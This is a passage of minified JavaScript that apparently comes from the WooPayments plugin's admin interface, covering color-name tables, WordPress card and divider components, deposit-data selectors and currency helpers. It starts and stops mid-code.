",fuchsia:"#ff00ff",brown:"#a52a2a",maroon:"#800000",mediumblue:"#0000cd",lightcoral:"#f08080",darkturquoise:"#00ced1",lightcyan:"#e0ffff",ivory:"#fffff0",lightyellow:"#ffffe0",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",linen:"#faf0e6",mediumaquamarine:"#66cdaa",lemonchiffon:"#fffacd",lime:"#00ff00",khaki:"#f0e68c",mediumseagreen:"#3cb371",limegreen:"#32cd32",mediumspringgreen:"#00fa9a",lightskyblue:"#87cefa",lightblue:"#add8e6",midnightblue:"#191970",lightpink:"#ffb6c1",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",mintcream:"#f5fffa",lightslategray:"#778899",lightslategrey:"#778899",navajowhite:"#ffdead",navy:"#000080",mediumvioletred:"#c71585",powderblue:"#b0e0e6",palegoldenrod:"#eee8aa",oldlace:"#fdf5e6",paleturquoise:"#afeeee",mediumturquoise:"#48d1cc",mediumorchid:"#ba55d3",rebeccapurple:"#663399",lightsteelblue:"#b0c4de",mediumslateblue:"#7b68ee",thistle:"#d8bfd8",tan:"#d2b48c",orchid:"#da70d6",mediumpurple:"#9370db",purple:"#800080",pink:"#ffc0cb",skyblue:"#87ceeb",springgreen:"#00ff7f",palegreen:"#98fb98",red:"#ff0000",yellow:"#ffff00",slateblue:"#6a5acd",lavenderblush:"#fff0f5",peru:"#cd853f",palevioletred:"#db7093",violet:"#ee82ee",teal:"#008080",slategray:"#708090",slategrey:"#708090",aliceblue:"#f0f8ff",darkseagreen:"#8fbc8f",darkolivegreen:"#556b2f",greenyellow:"#adff2f",seagreen:"#2e8b57",seashell:"#fff5ee",tomato:"#ff6347",silver:"#c0c0c0",sienna:"#a0522d",lavender:"#e6e6fa",lightgreen:"#90ee90",orange:"#ffa500",orangered:"#ff4500",steelblue:"#4682b4",royalblue:"#4169e1",turquoise:"#40e0d0",yellowgreen:"#9acd32",salmon:"#fa8072",saddlebrown:"#8b4513",sandybrown:"#f4a460",rosybrown:"#bc8f8f",darksalmon:"#e9967a",lightgoldenrodyellow:"#fafad2",snow:"#fffafa",lightgrey:"#d3d3d3",lightgray:"#d3d3d3",dimgray:"#696969",dimgrey:"#696969",olivedrab:"#6b8e23",olive:"#808000"},n={};for(var o in r)n[r[o]]=o;var a={};e.prototype.toName=function(t){if(!(this.rgba.a||this.rgba.r||this.rgba.g||this.rgba.b))return"transparent";var o,i,s=n[this.toHex()];if(s)return s;if(null==t?void 0:t.closest){var c=this.toRgb(),l=1/0,u="black";if(!a.length)for(var d in r)a[d]=new e(r[d]).toRgb();for(var m in r){var p=(o=c,i=a[m],Math.pow(o.r-i.r,2)+Math.pow(o.g-i.g,2)+Math.pow(o.b-i.b,2));p<l&&(l=p,u=m)}return u}},t.string.push([function(t){var n=t.toLowerCase(),o="transparent"===n?"#0000":r[n];return o?new e(o).toRgb():null},"name"])}]);const br={black:"#000",white:"#fff"},Er={blue:{medium:{focus:"#007cba",focusDark:"#fff"}},gray:{900:"#1e1e1e",700:"#757575",600:"#949494",400:"#ccc",300:"#ddd",200:"#e0e0e0",100:"#f0f0f0"},darkGray:{primary:"#1e1e1e",heading:"#050505"},mediumGray:{text:"#757575"},lightGray:{ui:"#949494",secondary:"#ccc",tertiary:"#e7e8e9"}},vr={900:"#191e23",800:"#23282d",700:"#32373c",600:"#40464d",500:"#555d66",400:"#606a73",300:"#6c7781",200:"#7e8993",150:"#8d96a0",100:"#8f98a1",placeholder:gr(Er.gray[900],.62)},wr={900:gr("#000510",.9),800:gr("#00000a",.85),700:gr("#06060b",.8),600:gr("#000913",.75),500:gr("#0a1829",.7),400:gr("#0a1829",.65),300:gr("#0e1c2e",.62),200:gr("#162435",.55),100:gr("#223443",.5),backgroundFill:gr(vr[700],.7)},Sr={900:gr("#304455",.45),800:gr("#425863",.4),700:gr("#667886",.35),600:gr("#7b86a2",.3),500:gr("#9197a2",.25),400:gr("#95959c",.2),300:gr("#829493",.15),200:gr("#8b8b96",.1),100:gr("#747474",.05)},Tr={900:"#a2aab2",800:"#b5bcc2",700:"#ccd0d4",600:"#d7dade",500:"#e2e4e7",400:"#e8eaeb",300:"#edeff0",200:"#f3f4f5",100:"#f8f9f9",placeholder:gr(br.white,.65)},Rr={900:gr(br.white,.5),800:gr(br.white,.45),700:gr(br.white,.4),600:gr(br.white,.35),500:gr(br.white,.3),400:gr(br.white,.25),300:gr(br.white,.2),200:gr(br.white,.15),100:gr(br.white,.1),backgroundFill:gr(Tr[300],.8)},Or={wordpress:{700:"#00669b"},dark:{900:"#0071a1"},medium:{900:"#006589",800:"#00739c",700:"#007fac",600:"#008dbe",500:"#00a0d2",400:"#33b3db",300:"#66c6e4",200:"#bfe7f3",100:"#e5f5fa",highlight:"#b3e7fe",focus:"#007cba"}},Cr={theme:`var( --wp-admin-theme-color, ${Or.wordpress[700]})`,themeDark10:`var( --wp-admin-theme-color-darker-10, ${Or.medium.focus})`},Ar={theme:Cr.theme,background:br.white,backgroundDisabled:Tr[200],border:Er.gray[700],borderHover:Er.gray[700],borderFocus:Cr.themeDark10,borderDisabled:Er.gray[400],borderLight:Er.gray[300],label:vr[500],textDisabled:vr[150],textDark:br.white,textLight:br.black},Nr=Object.assign({},br,{darkGray:(0,it.merge)({},vr,Er.darkGray),darkOpacity:wr,darkOpacityLight:Sr,mediumGray:Er.mediumGray,gray:Er.gray,lightGray:(0,it.merge)({},Tr,Er.lightGray),lightGrayLight:Rr,blue:(0,it.merge)({},Or,Er.blue),alert:{yellow:"#f0b849",red:"#d94f4f",green:"#4ab866"},admin:Cr,ui:Ar}),Ir="36px",kr="12px",xr={controlSurfaceColor:Nr.white,controlTextActiveColor:Nr.ui.theme,controlPaddingX:kr,controlPaddingXLarge:`calc(${kr} * 1.3334)`,controlPaddingXSmall:`calc(${kr} / 1.3334)`,controlBackgroundColor:Nr.white,controlBorderRadius:"2px",controlBorderColor:Nr.gray[700],controlBoxShadow:"transparent",controlBorderColorHover:Nr.gray[700],controlBoxShadowFocus:`0 0 0 0.5px ${Nr.admin.theme}`,controlDestructiveBorderColor:Nr.alert.red,controlHeight:Ir,controlHeightXSmall:`calc( ${Ir} * 0.6 )`,controlHeightSmall:`calc( ${Ir} * 0.8 )`,controlHeightLarge:`calc( ${Ir} * 1.2 )`,controlHeightXLarge:`calc( ${Ir} * 1.4 )`},Dr={toggleGroupControlBackgroundColor:xr.controlBackgroundColor,toggleGroupControlBorderColor:Nr.ui.border,toggleGroupControlBackdropBackgroundColor:xr.controlSurfaceColor,toggleGroupControlBackdropBorderColor:Nr.ui.border,toggleGroupControlBackdropBoxShadow:"transparent",toggleGroupControlButtonColorActive:xr.controlBackgroundColor},Pr=Object.assign({},xr,Dr,{colorDivider:"rgba(0, 0, 0, 0.1)",colorScrollbarThumb:"rgba(0, 0, 0, 0.2)",colorScrollbarThumbHover:"rgba(0, 0, 0, 0.5)",colorScrollbarTrack:"rgba(0, 0, 0, 0.04)",elevationIntensity:1,radiusBlockUi:"2px",borderWidth:"1px",borderWidthFocus:"1.5px",borderWidthTab:"4px",spinnerSize:16,fontSize:"13px",fontSizeH1:"calc(2.44 * 13px)",fontSizeH2:"calc(1.95 * 13px)",fontSizeH3:"calc(1.56 * 13px)",fontSizeH4:"calc(1.25 * 13px)",fontSizeH5:"13px",fontSizeH6:"calc(0.8 * 13px)",fontSizeInputMobile:"16px",fontSizeMobile:"15px",fontSizeSmall:"calc(0.92 * 13px)",fontSizeXSmall:"calc(0.75 * 13px)",fontLineHeightBase:"1.2",fontWeight:"normal",fontWeightHeading:"600",gridBase:"4px",cardBorderRadius:"2px",cardPaddingXSmall:`${Ht(2)}`,cardPaddingSmall:`${Ht(4)}`,cardPaddingMedium:`${Ht(4)} ${Ht(6)}`,cardPaddingLarge:`${Ht(6)} ${Ht(8)}`,surfaceBackgroundColor:Nr.white,surfaceBackgroundSubtleColor:"#F3F3F3",surfaceBackgroundTintColor:"#F5F5F5",surfaceBorderColor:"rgba(0, 0, 0, 0.1)",surfaceBorderBoldColor:"rgba(0, 0, 0, 0.15)",surfaceBorderSubtleColor:"rgba(0, 0, 0, 0.05)",surfaceBackgroundTertiaryColor:Nr.white,surfaceColor:Nr.white,transitionDuration:"200ms",transitionDurationFast:"160ms",transitionDurationFaster:"120ms",transitionDurationFastest:"100ms",transitionTimingFunction:"cubic-bezier(0.08, 0.52, 0.52, 1)",transitionTimingFunctionControl:"cubic-bezier(0.12, 0.8, 0.32, 1)"});function Mr(e){return`0 ${e}px ${2*e}px 0\n\trgba(0 ,0, 0, ${e/20})`}const Fr=bt((function(e,t){const r=function(e){const{active:t,borderRadius:r="inherit",className:n,focus:o,hover:a,isInteractive:i=!1,offset:s=0,value:c=0,...l}=jt(e,"Elevation"),u=$t(),d=(0,L.useMemo)((()=>{let e=(0,it.isNil)(a)?2*c:a,l=(0,it.isNil)(t)?c/2:t;i||(e=(0,it.isNil)(a)?void 0:a,l=(0,it.isNil)(t)?void 0:t);const d=`box-shadow ${Pr.transitionDuration} ${Pr.transitionTimingFunction}`,m={};return m.Base=at({borderRadius:r,bottom:s,boxShadow:Mr(c),opacity:Pr.elevationIntensity,left:s,right:s,top:s,transition:d},function(){let e;switch(arguments.length>0&&void 0!==arguments[0]?arguments[0]:"transition"){case"transition":e="transition-duration: 0ms;";break;case"animation":e="animation-duration: 1ms;";break;default:e="\n\t\t\t\tanimation-duration: 1ms;\n\t\t\t\ttransition-duration: 0ms;\n\t\t\t"}return`\n\t\t@media ( prefers-reduced-motion: reduce ) {\n\t\t\t${e};\n\t\t}\n\t`}("transition"),"",""),(0,it.isNil)(e)||(m.hover=at("*:hover>&{box-shadow:",Mr(e),";}","")),(0,it.isNil)(l)||(m.active=at("*:active>&{box-shadow:",Mr(l),";}","")),(0,it.isNil)(o)||(m.focus=at("*:focus>&{box-shadow:",Mr(o),";}","")),u(Yt,m.Base,m.hover&&m.hover,m.focus&&m.focus,m.active&&m.active,n)}),[t,r,n,u,o,a,i,s,c]);return{...l,className:d,"aria-hidden":!0}}(e);return(0,L.createElement)(Dt,Y({},r,{ref:t}))}),"Elevation"),Lr=Fr,Ur=`calc(${Pr.cardBorderRadius} - 1px)`,Br=at("box-shadow:0 0 0 1px ",Pr.surfaceBorderColor,";outline:none;",""),$r={name:"13udsys",styles:"height:100%"},zr={name:"6ywzd",styles:"box-sizing:border-box;height:auto;max-height:100%"},jr={name:"c990dr",styles:"box-sizing:border-box;display:block;width:100%"},Yr=at("&:first-of-type{border-top-left-radius:",Ur,";border-top-right-radius:",Ur,";}&:last-of-type{border-bottom-left-radius:",Ur,";border-bottom-right-radius:",Ur,";}",""),Hr=at("border-color:",Pr.colorDivider,";",""),Vr={name:"1t90u8d",styles:"box-shadow:none"},Wr=at("border-radius:",Ur,";",""),qr=at("padding:",Pr.cardPaddingXSmall,";",""),Gr={large:at("padding:",Pr.cardPaddingLarge,";",""),medium:at("padding:",Pr.cardPaddingMedium,";",""),small:at("padding:",Pr.cardPaddingSmall,";",""),xSmall:qr,extraSmall:qr},Qr=at("background-color:",Nr.lightGray[200],";",""),Zr=window.wp.deprecated;var Kr=r.n(Zr);const Xr=at("background-color:",Pr.surfaceColor,";color:",Nr.darkGray.primary,";position:relative;","");Pr.surfaceBackgroundColor;const Jr=at("",""),en=at("background:",Pr.surfaceBackgroundTintColor,";",""),tn=at("background:",Pr.surfaceBackgroundTertiaryColor,";",""),rn=e=>[e,e].join(" "),nn=e=>["90deg",[Pr.surfaceBackgroundColor,e].join(" "),"transparent 1%"].join(","),on=e=>[[Pr.surfaceBackgroundColor,e].join(" "),"transparent 1%"].join(","),an=[`linear-gradient( ${[`${Pr.surfaceBorderSubtleColor} 1px`,"transparent 1px"].join(",")} )`,`linear-gradient( ${["90deg",`${Pr.surfaceBorderSubtleColor} 1px`,"transparent 1px"].join(",")} )`].join(","),sn=(e,t,r)=>{switch(e){case"dotted":return((e,t)=>at("background:",(e=>[`linear-gradient( ${nn(e)} ) center`,`linear-gradient( ${on(e)} ) center`,Pr.surfaceBorderBoldColor].join(","))(t),";background-size:",rn(e),";",""))(t,r);case"grid":return(e=>at("background:",Pr.surfaceBackgroundColor,";background-image:",an,";background-size:",rn(e),";",""))(t);case"primary":return Jr;case"secondary":return en;case"tertiary":return tn}};function cn(e){const{backgroundSize:t=12,borderBottom:r=!1,borderLeft:n=!1,borderRight:o=!1,borderTop:a=!1,className:i,variant:s="primary",...c}=jt(e,"Surface"),l=$t(),u=(0,L.useMemo)((()=>{const e={};return e.borders=function(e){let{borderBottom:t,borderLeft:r,borderRight:n,borderTop:o}=e;const a=`1px solid ${Pr.surfaceBorderColor}`;return at({borderBottom:t?a:void 0,borderLeft:r?a:void 0,borderRight:n?a:void 0,borderTop:o?a:void 0},"","")}({borderBottom:r,borderLeft:n,borderRight:o,borderTop:a}),l(Xr,e.borders,sn(s,`${t}px`,t-1+"px"),i)}),[t,r,n,o,a,i,l,s]);return{...c,className:u}}const ln=bt((function(e,t){const{children:r,elevation:n,isBorderless:o,isRounded:a,size:i,...s}=function(e){const{className:t,elevation:r=0,isBorderless:n=!1,isRounded:o=!0,size:a="medium",...i}=jt(function(e){let{elevation:t,isElevated:r,...n}=e;const o={...n};let a=t;var i;return r&&(Kr()("Card isElevated prop",{since:"5.9",alternative:"elevation"}),null!==(i=a)&&void 0!==i||(a=2)),void 0!==a&&(o.elevation=a),o}(e),"Card"),s=$t();return{...cn({...i,className:(0,L.useMemo)((()=>s(Br,n&&Vr,o&&Wr,t)),[t,s,n,o])}),elevation:r,isBorderless:n,isRounded:o,size:a}}(e),c=a?Pr.cardBorderRadius:0,l=$t(),u=(0,L.useMemo)((()=>l(at({borderRadius:c},"",""))),[l,c]),d=(0,L.useMemo)((()=>{const e={size:i,isBorderless:o};return{CardBody:e,CardHeader:e,CardFooter:e}}),[o,i]);return(0,L.createElement)(dt,{value:d},(0,L.createElement)(Dt,Y({},s,{ref:t}),(0,L.createElement)(Dt,{className:l($r)},r),(0,L.createElement)(Lr,{className:u,isInteractive:!1,value:n?1:0}),(0,L.createElement)(Lr,{className:u,isInteractive:!1,value:n})))}),"Card"),un=at("@media only screen and ( min-device-width: 40em ){&::-webkit-scrollbar{height:12px;width:12px;}&::-webkit-scrollbar-track{background-color:transparent;}&::-webkit-scrollbar-track{background:",Pr.colorScrollbarTrack,";border-radius:8px;}&::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:",Pr.colorScrollbarThumb,";border:2px solid rgba( 0, 0, 0, 0 );border-radius:7px;}&:hover::-webkit-scrollbar-thumb{background-color:",Pr.colorScrollbarThumbHover,";}}",""),dn={name:"13udsys",styles:"height:100%"},mn={name:"7zq9w",styles:"scroll-behavior:smooth"},pn={name:"q33xhg",styles:"overflow-x:auto;overflow-y:hidden"},yn={name:"103x71s",styles:"overflow-x:hidden;overflow-y:auto"},fn={name:"umwchj",styles:"overflow-y:auto"},_n=bt((function(e,t){const r=function(e){const{className:t,scrollDirection:r="y",smoothScroll:n=!1,...o}=jt(e,"Scrollable"),a=$t();return{...o,className:(0,L.useMemo)((()=>a(dn,un,n&&mn,"x"===r&&pn,"y"===r&&yn,"auto"===r&&fn,t)),[t,a,r,n])}}(e);return(0,L.createElement)(Dt,Y({},r,{ref:t}))}),"Scrollable"),hn=bt((function(e,t){const{isScrollable:r,...n}=function(e){const{className:t,isScrollable:r=!1,isShady:n=!1,size:o="medium",...a}=jt(e,"CardBody"),i=$t();return{...a,className:(0,L.useMemo)((()=>i(zr,Yr,Gr[o],n&&Qr,"components-card__body",t)),[t,i,n,o]),isScrollable:r}}(e);return r?(0,L.createElement)(_n,Y({},n,{ref:t})):(0,L.createElement)(Dt,Y({},n,{ref:t}))}),"CardBody");var gn=r(2722);const bn=e=>(0,L.createElement)("img",Y({src:gn,width:"241",height:"64",alt:"WooPayments logo"},e)),En=e=>{let t,r,n,{style:o}=e,a="woocommerce-payments-banner";return"account-page"===o?(t=196,r=65,n=!0,a+=" account-page"):(t=257,r=70,n=!1),(0,L.createElement)(ln,{size:"large",className:a},(0,L.createElement)(hn,null,(0,L.createElement)(bn,{width:t,height:r,className:"woocommerce-payments-banner-logo"}),n&&(0,L.createElement)("div",{className:"woocommerce-payments-banner-pill"},(0,L.createElement)("div",null,(0,j.__)("Recommended","woocommerce-payments")))))},vn=e=>{let{children:t,displayBanner:r=!0}=e;return(0,L.createElement)("div",{className:"wcpay-settings-layout"},r&&(0,L.createElement)(En,null),t)};function wn(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function Sn(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function Tn(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?Sn(Object(r),!0).forEach((function(t){wn(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):Sn(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function Rn(e,t){if(null==e)return{};var r,n,o={},a=Object.keys(e);for(n=0;n<a.length;n++)r=a[n],t.indexOf(r)>=0||(o[r]=e[r]);return o}function On(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function Cn(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function An(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?Cn(Object(r),!0).forEach((function(t){On(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):Cn(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function Nn(e,t){if(null==e)return{};var r,n,o={},a=Object.keys(e);for(n=0;n<a.length;n++)r=a[n],t.indexOf(r)>=0||(o[r]=e[r]);return o}function In(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function kn(e,t){var r;if("undefined"==typeof Symbol||null==e[Symbol.iterator]){if(Array.isArray(e)||(r=function(e,t){if(e){if("string"==typeof e)return In(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);return"Object"===r&&e.constructor&&(r=e.constructor.name),"Map"===r||"Set"===r?Array.from(e):"Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r)?In(e,t):void 0}}(e))||t&&e&&"number"==typeof e.length){r&&(e=r);var n=0;return function(){return n>=e.length?{done:!0}:{done:!1,value:e[n++]}}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}return(r=e[Symbol.iterator]()).next.bind(r)}var xn=(0,U.createContext)({}),Dn=function(e,t,r){void 0===r&&(r=t.children);var n=(0,U.useContext)(xn);return n.useCreateElement?n.useCreateElement(e,t,r):"string"==typeof e&&function(e){return"function"==typeof e}(r)?(t.children,r(Nn(t,["children"]))):(0,U.createElement)(e,t,r)};function Pn(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function Mn(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function Fn(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?Mn(Object(r),!0).forEach((function(t){Pn(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):Mn(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function Ln(e){var t;if(!function(e){return"object"==typeof e&&null!=e}(e))return!1;var r=Object.getPrototypeOf(e);return null==r||(null===(t=r.constructor)||void 0===t?void 0:t.toString())===Object.toString()}function Un(e,t){for(var r={},n={},o=0,a=Object.keys(e);o<a.length;o++){var i=a[o];t.indexOf(i)>=0?r[i]=e[i]:n[i]=e[i]}return[r,n]}function Bn(e,t){if(void 0===t&&(t=[]),!Ln(e.state))return Un(e,t);var r=Un(e,[].concat(t,["state"])),n=r[0],o=r[1],a=n.state,i=function(e,t){if(null==e)return{};var r,n,o={},a=Object.keys(e);for(n=0;n<a.length;n++)r=a[n],t.indexOf(r)>=0||(o[r]=e[r]);return o}(n,["state"]);return[Fn(Fn({},a),i),o]}function $n(e,t){if(e===t)return!0;if(!e)return!1;if(!t)return!1;if("object"!=typeof e)return!1;if("object"!=typeof t)return!1;var r=Object.keys(e),n=Object.keys(t),o=r.length;if(n.length!==o)return!1;for(var a=0,i=r;a<i.length;a++){var s=i[a];if(e[s]!==t[s])return!1}return!0}function zn(e){return"normalizePropsAreEqualInner"===e.name?e:function(t,r){return Ln(t.state)&&Ln(r.state)?e(Fn(Fn({},t.state),t),Fn(Fn({},r.state),r)):e(t,r)}}function jn(e){var t=e.as,r=e.useHook,n=e.memo,o=e.propsAreEqual,a=void 0===o?null==r?void 0:r.unstable_propsAreEqual:o,i=e.keys,s=void 0===i?(null==r?void 0:r.__keys)||[]:i,c=e.useCreateElement,l=void 0===c?Dn:c,u=function(e,n){var o=e.as,a=void 0===o?t:o,i=Nn(e,["as"]);if(r){var c,u=Bn(i,s),d=u[0],m=u[1],p=r(d,An({ref:n},m)),y=p.wrapElement,f=Nn(p,["wrapElement"]),_=(null===(c=a.render)||void 0===c?void 0:c.__keys)||a.__keys,h=_&&Bn(i,_)[0],g=h?An(An({},f),h):f,b=l(a,g);return y?y(b):b}return l(a,An({ref:n},i))};return u=function(e){return(0,U.forwardRef)(e)}(u),n&&(u=function(e,t){return(0,U.memo)(e,t)}(u,a&&zn(a))),u.__keys=s,u.unstable_propsAreEqual=zn(a||$n),u}function Yn(e,t){(0,U.useDebugValue)(e);var r=(0,U.useContext)(xn);return null!=r[e]?r[e]:t}function Hn(e){var t,r,n,o=(n=e.compose,Array.isArray(n)?n:void 0!==n?[n]:[]),a=function(t,r){if(e.useOptions&&(t=e.useOptions(t,r)),e.name&&(t=function(e,t,r){void 0===t&&(t={}),void 0===r&&(r={});var n="use"+e+"Options";(0,U.useDebugValue)(n);var o=Yn(n);return o?An(An({},t),o(t,r)):t}(e.name,t,r)),e.compose)for(var n,a=kn(o);!(n=a()).done;)t=n.value.__useOptions(t,r);return t},i=function(t,r,n){if(void 0===t&&(t={}),void 0===r&&(r={}),void 0===n&&(n=!1),n||(t=a(t,r)),e.useProps&&(r=e.useProps(t,r)),e.name&&(r=function(e,t,r){void 0===t&&(t={}),void 0===r&&(r={});var n="use"+e+"Props";(0,U.useDebugValue)(n);var o=Yn(n);return o?o(t,r):r}(e.name,t,r)),e.compose)if(e.useComposeOptions&&(t=e.useComposeOptions(t,r)),e.useComposeProps)r=e.useComposeProps(t,r);else for(var i,s=kn(o);!(i=s()).done;)r=(0,i.value)(t,r,!0);var c={},l=r||{};for(var u in l)void 0!==l[u]&&(c[u]=l[u]);return c};i.__useOptions=a;var s=o.reduce((function(e,t){return e.push.apply(e,t.__keys||[]),e}),[]);return i.__keys=[].concat(s,(null===(t=e.useState)||void 0===t?void 0:t.__keys)||[],e.keys||[]),i.unstable_propsAreEqual=e.propsAreEqual||(null===(r=o[0])||void 0===r?void 0:r.unstable_propsAreEqual)||$n,i}var Vn=Hn({name:"Role",keys:["unstable_system"],propsAreEqual:function(e,t){var r=e.unstable_system,n=Rn(e,["unstable_system"]),o=t.unstable_system,a=Rn(t,["unstable_system"]);return!(r!==o&&!$n(r,o))&&$n(n,a)}}),Wn=(jn({as:"div",useHook:Vn}),Hn({name:"Separator",compose:Vn,keys:["orientation"],useOptions:function(e){var t=e.orientation;return Tn({orientation:void 0===t?"horizontal":t},Rn(e,["orientation"]))},useProps:function(e,t){return Tn({role:"separator","aria-orientation":e.orientation},t)}})),qn=jn({as:"hr",memo:!0,useHook:Wn});const Gn=new RegExp(/-left/g),Qn=new RegExp(/-right/g),Zn=new RegExp(/Left/g),Kn=new RegExp(/Right/g);function Xn(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;return()=>t?(0,j.isRTL)()?at(t,""):at(e,""):(0,j.isRTL)()?at(function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return(0,it.mapKeys)(e,((e,t)=>function(e){return"left"===e?"right":"right"===e?"left":Gn.test(e)?e.replace(Gn,"-right"):Qn.test(e)?e.replace(Qn,"-left"):Zn.test(e)?e.replace(Zn,"Right"):Kn.test(e)?e.replace(Kn,"Left"):e}(t)))}(e),""):at(e,"")}Xn.watch=()=>(0,j.isRTL)();const Jn={vertical:{start:"marginLeft",end:"marginRight"},horizontal:{start:"marginTop",end:"marginBottom"}};var eo={name:"1u4hpl4",styles:"display:inline"};const to=kt("hr",{target:"e19on6iw0"})("border:0;margin:0;",(e=>{let{"aria-orientation":t="horizontal"}=e;return"vertical"===t?eo:void 0})," ",(e=>{let{"aria-orientation":t="horizontal"}=e;return at({["vertical"===t?"borderRight":"borderBottom"]:"1px solid currentColor"},"","")})," ",(e=>{let{"aria-orientation":t="horizontal"}=e;return at({height:"vertical"===t?"auto":0,width:"vertical"===t?0:"auto"},"","")})," ",(e=>{let{"aria-orientation":t="horizontal",margin:r,marginStart:n,marginEnd:o}=e;return at(Xn({[Jn[t].start]:Ht(null!=n?n:r),[Jn[t].end]:Ht(null!=o?o:r)})(),"","")}),";"),ro=bt((function(e,t){const r=jt(e,"Divider");return(0,L.createElement)(qn,Y({as:to},r,{ref:t}))}),"Divider"),no=bt((function(e,t){const r=function(e){const{className:t,...r}=jt(e,"CardDivider"),n=$t();return{...r,className:(0,L.useMemo)((()=>n(jr,Hr,"components-card__divider",t)),[t,n])}}(e);return(0,L.createElement)(ro,Y({},r,{ref:t}))}),"CardDivider"),oo=window.wp.data,ao=window.wp.dataControls,io="/wc/v3/payments",so="wc/payments",co={SET_DEPOSIT:"SET_DEPOSIT",SET_DEPOSITS_OVERVIEW:"SET_DEPOSITS_OVERVIEW",SET_ERROR_FOR_DEPOSITS_OVERVIEW:"SET_ERROR_FOR_DEPOSITS_OVERVIEW",SET_DEPOSITS:"SET_DEPOSITS",SET_DEPOSITS_COUNT:"SET_DEPOSITS_COUNT",SET_ERROR_FOR_DEPOSIT_QUERY:"SET_ERROR_FOR_DEPOSIT_QUERY",SET_DEPOSITS_SUMMARY:"SET_DEPOSITS_SUMMARY",SET_ERROR_FOR_DEPOSITS_SUMMARY:"SET_ERROR_FOR_DEPOSITS_SUMMARY",SET_INSTANT_DEPOSIT:"SET_INSTANT_DEPOSIT",SET_ALL_DEPOSITS_OVERVIEWS:"SET_ALL_DEPOSITS_OVERVIEWS",SET_ERROR_FOR_ALL_DEPOSITS_OVERVIEWS:"SET_ERROR_FOR_ALL_DEPOSITS_OVERVIEWS"},lo=e=>JSON.stringify(e,Object.keys(e).sort()),uo={byId:{},queries:{},count:0,instant:{}},mo=e=>e&&e.deposits||{},po=(e,t)=>(mo(e).byId||{})[t],yo=e=>(mo(e).overview||{}).data,fo=e=>(mo(e).overview||{}).error,_o=e=>{const t=mo(e).overviews||{};if(!t.data)return{account:null,currencies:[]};const{deposit:r,balance:n,account:o}=t.data,a={lastPaid:r.last_paid,nextScheduled:r.next_scheduled,pending:n.pending,available:n.available,instant:n.instant},i={};for(const[e,t]of Object.entries(a))t?.forEach((t=>{const{currency:r}=t;i[r]||(i[r]={currency:r,lastPaid:void 0,nextScheduled:void 0,pending:void 0,available:void 0,instant:void 0}),i[r][e]=t}));const s=Object.values(i);return{account:o,currencies:[...s.filter((e=>o.default_currency===e.currency)),...s.filter((e=>o.default_currency!==e.currency))]}},ho=e=>(mo(e).overviews||{}).error,go=(e,t)=>{const r=lo(t);return(mo(e).queries||{})[r]||{}},bo=(e,t)=>(go(e,t).data||[]).map(po.bind(void 0,e)),Eo=e=>mo(e).count,vo=(e,t)=>go(e,t).error||{},wo=(e,t)=>{const r=lo(t);return(mo(e).summary||{})[r]||{}},So=(e,t)=>wo(e,t).data||{},To=(e,t)=>wo(e,t).error||{},Ro=e=>(mo(e).instant||{}).data,Oo=window.wc.currency;var Co=r.n(Oo);(0,j.__)("Australian dollar","woocommerce-payments"),(0,j.__)("Canadian dollar","woocommerce-payments"),(0,j.__)("Swiss franc","woocommerce-payments"),(0,j.__)("Danish krone","woocommerce-payments"),(0,j.__)("Euro","woocommerce-payments"),(0,j.__)("Pound sterling","woocommerce-payments"),(0,j.__)("Norwegian krone","woocommerce-payments"),(0,j.__)("New Zealand dollar","woocommerce-payments"),(0,j.__)("Swedish krona","woocommerce-payments"),(0,j.__)("United States (US) dollar","woocommerce-payments");const Ao=e=>wcpaySettings.zeroDecimalCurrencies.includes(e.toLowerCase()),No=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"USD",r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null;const n=Ao(t);n||(e/=100);const o=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;const{currencyData:r,connect:{country:n="US"}}=wcpaySettings,o=(0,it.find)(r,{code:e.toUpperCase()});if(o){if(null!==t&&t.toUpperCase()!==e.toUpperCase()||r[n]){const 